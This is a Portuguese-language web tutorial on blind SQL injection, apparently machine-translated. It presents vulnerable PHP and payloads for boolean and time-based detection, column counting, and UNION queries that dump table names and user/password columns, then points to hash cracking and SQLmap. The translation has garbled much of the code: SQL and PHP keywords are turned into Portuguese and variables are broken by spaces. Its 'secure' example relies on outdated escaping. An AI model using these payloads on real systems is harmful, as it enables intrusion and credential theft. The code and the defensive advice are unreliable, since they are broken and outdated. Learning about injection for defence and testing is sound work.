Segurança

Tutorial de técnicas de injeção SQL às cegas

Tutorial de técnicas de injeção SQL às cegas

O que é SQL Injection?

SQL Injection é um tipo de ataque a banco de dados em que um invasor tenta roubar informações do banco de dados de um aplicativo da web. Isso pode até resultar em execução remota de código, dependendo do ambiente do aplicativo da web e da versão do banco de dados.

A injeção de SQL ocorre devido à falta de higienização da entrada do usuário. Se você receber informações do usuário em alguma linguagem de codificação (PHP, ASP.NET) e passá-lo diretamente para o banco de dados do servidor sem aplicar nenhum filtro na entrada, isso pode resultar em vulnerabilidade de injeção SQL.

Por exemplo, o seguinte código PHP é vulnerável ao ataque de injeção SQL porque passa diretamente a entrada do usuário para o banco de dados. O invasor pode criar sua própria consulta de banco de dados maliciosa para extrair dados do banco de dados.

// O userinput é armazenado na variável id
$ id = $ _GET ['id'];
// O userinput é executado diretamente no banco de dados
$ getid = "SELECT first_name, last_name FROM usuários WHERE user_id = '$ id'";
// Em caso de erro ou sucesso, os resultados são devolvidos ao usuário
$ result = mysql_query ($ getid) ou die ('
' . mysql_error () . '
');
$ num = mysql_numrows ($ result);

Por outro lado, um exemplo de código seguro de tal código para interagir com o banco de dados é fornecido. Ele recebe a entrada do usuário e filtra quaisquer caracteres maliciosos, depois passa para o banco de dados.

$ id = $ _GET ['id'];
$ id = stripslashes ($ id);
$ id = mysql_real_escape_string ($ id);

Injeção SQL normal vs cega

Injeção SQL normal

Na injeção SQL normal, se um invasor tenta colocar uma aspa simples (') como entrada, quando essa aspa simples é executada no banco de dados, o banco de dados responde com um erro. O erro é impresso no navegador do invasor.

O código responsável por este erro é

// se o banco de dados responder com um erro, a função “or die ()” será executada
para imprimir o erro
$ result = mysql_query ($ getid) ou die ('
' . mysql_error () . '
');

Na injeção de SQL normal, o invasor pode ver os resultados do erro e é fácil de identificar e explorar.

Blind SQL Injection

No caso de Blind SQL Injection, quando uma consulta maliciosa, como uma aspa simples, é executada, o erro do banco de dados não é exibido no navegador do invasor ou é exibido de uma maneira muito genérica que não pode ser identificada e explorada facilmente pelo invasor.

O código de backend responsável por isso é fornecido abaixo

$ result = mysql_query ($ getid); // Removido 'ou morrer' para suprimir erros do mysql

No Blind SQL Injection, o invasor não pode ver os resultados completos, portanto, este tipo de SQLi é difícil de identificar e explorar, mas tem o mesmo nível de risco do SQLi normal.

Técnicas para detectar injeção de SQL cega

Embora a injeção SQL normal possa ser detectada enviando aspas simples (') como entrada e examinando o erro de saída, a injeção SQL cega não pode ser detectada usando esta técnica porque não exibe nenhum erro SQL. Existem muitas técnicas para detectar uma injeção de Blind SQL, algumas delas são fornecidas a seguir

Deteção baseada em VERDADEIRO e FALSO

Uma das características dos bancos de dados, incluindo MySQL, é o comportamento diferente em declarações True e False. Mesmo se o banco de dados não mostrar nenhum erro, podemos decidir usar o uso de declarações True e False. Considere o seguinte cenário,

A página a seguir é vulnerável à injeção de SQL cego, fornecer uma instrução verdadeira exibirá todas as entradas no banco de dados

1 'ou 1 = 1 #

Fornecer uma consulta falsa como entrada não exibirá nenhum dado.

1 'ou 1 = 2 #

Mesmo a página da web não mostra nenhum erro, a diferença entre as duas páginas indica que nossas consultas estão sendo executadas com sucesso no banco de dados.

Deteção baseada em TEMPO

Existe uma função em bancos de dados, incluindo MySQL, MS-SQL e outros para atrasos. Podemos usar a função SLEEP () em nossa consulta, se a resposta do banco de dados for lenta, isso significa que nossa consulta foi executada com sucesso e a página da web está vulnerável a injeção de SQL cega.

1 'E dormir (15) #

Há outra função demorada "BENCHMARK" que pode ser usada para atrasar a resposta do banco de dados

1 'E BENCHMARK (10000000, SHA1 (1337)) #

A linha acima executará a função SHA1 () 10000000 vezes no banco de dados, o que adicionará uma quantidade significativa de atraso na resposta.

Injeção cega de SQL baseada em tempo em outros bancos de dados

MS SQL: ID = 1; aguardar atraso '0: 0: 10'-

ORACLE SQL: AND [RANDNUM] = DBMS_PIPE.RECEIVE_MESSAGE ('[RANDSTR]', [SLEEPTIME])

PostgreSQL: E [RANDNUM] = (SELECIONE [RANDNUM] DE PG_SLEEP ([SLEEPTIME]))

SQLite: AND [RANDNUM] = LIKE ('ABCDEFG', UPPER (HEX (RANDOMBLOB ([SLEEPTIME] 00000000/2))))

Extraindo informações do banco de dados

A primeira etapa da extração do banco de dados é determinar os números das colunas no banco de dados. Em seguida, tente encontrar colunas vulneráveis ​​para extrair mais dados.

Blind SQL Injection se comporta de maneira diferente com diferentes números de coluna na consulta "ordenar por".

1 'pedido por 1 #

A afirmação acima é verdadeira porque pelo menos 1 coluna sempre existe em um banco de dados. Agora tente com um número muito grande.

1 'pedido por 10000 #

A resposta do banco de dados é diferente da anterior. Agora tente com 2 colunas.

A declaração funcionou, o que significa que o banco de dados tem 2 ou mais colunas. Agora tente com 3 colunas.

1 'pedido por 3 #

O banco de dados não enviou nenhuma resposta, o que significa que o banco de dados possui apenas 2 colunas. Agora vamos tentar despejar a lista de tabelas no banco de dados, vamos usar a seguinte consulta para isso

1 'union all select 1, group_concat (table_name) from information_schema.
tabelas onde table_schema = database () #

Existem duas tabelas no banco de dados de back-end “livro de visitas e usuários”. A tabela “usuários” pode conter nomes de usuário e senhas. Para extrair os nomes das colunas da tabela, insira a seguinte consulta.

1 'union all select 1, group_concat (column_name) from information_schema.
colunas onde table_schema = database () #

Agora extraímos os nomes das colunas, incluindo colunas de usuário e senha. Essas colunas armazenam os nomes de usuário dos clientes e suas senhas.

Agora vamos tentar extrair os dados usando a seguinte consulta

1 'union all select 1, group_concat (usuário, senha) dos usuários #

E é assim que você pode explorar Blind SQL Injection sem depender de erros. As senhas de saída são criptografadas na maioria das vezes, que podem ser descriptografadas usando ferramentas como John The Ripper ou Hashcat.

Conclusão:

Blind SQL Injection é o tipo de SQLi que não mostra erros de banco de dados ou responde com uma mensagem muito genérica. É por isso que é muito difícil identificar a vulnerabilidade Blind SQL Injection em uma página da web. Uma vez detectado, você pode explorá-lo facilmente por processo manual ou automatizado usando o SQLmap.

Tutorial de Battle for Wesnoth
The Battle for Wesnoth é um dos jogos de estratégia de código aberto mais populares que você pode jogar no momento. Este jogo não está apenas em desen...
0 A.D. Tutorial
Dos muitos jogos de estratégia que existem, 0 A.D. consegue se destacar como um título abrangente e um jogo muito profundo e tático, apesar de ser de ...
Tutorial Unity3D
Introdução ao Unity 3D Unity 3D é um poderoso motor de desenvolvimento de jogos. É uma plataforma cruzada que permite criar jogos para celular, web, d...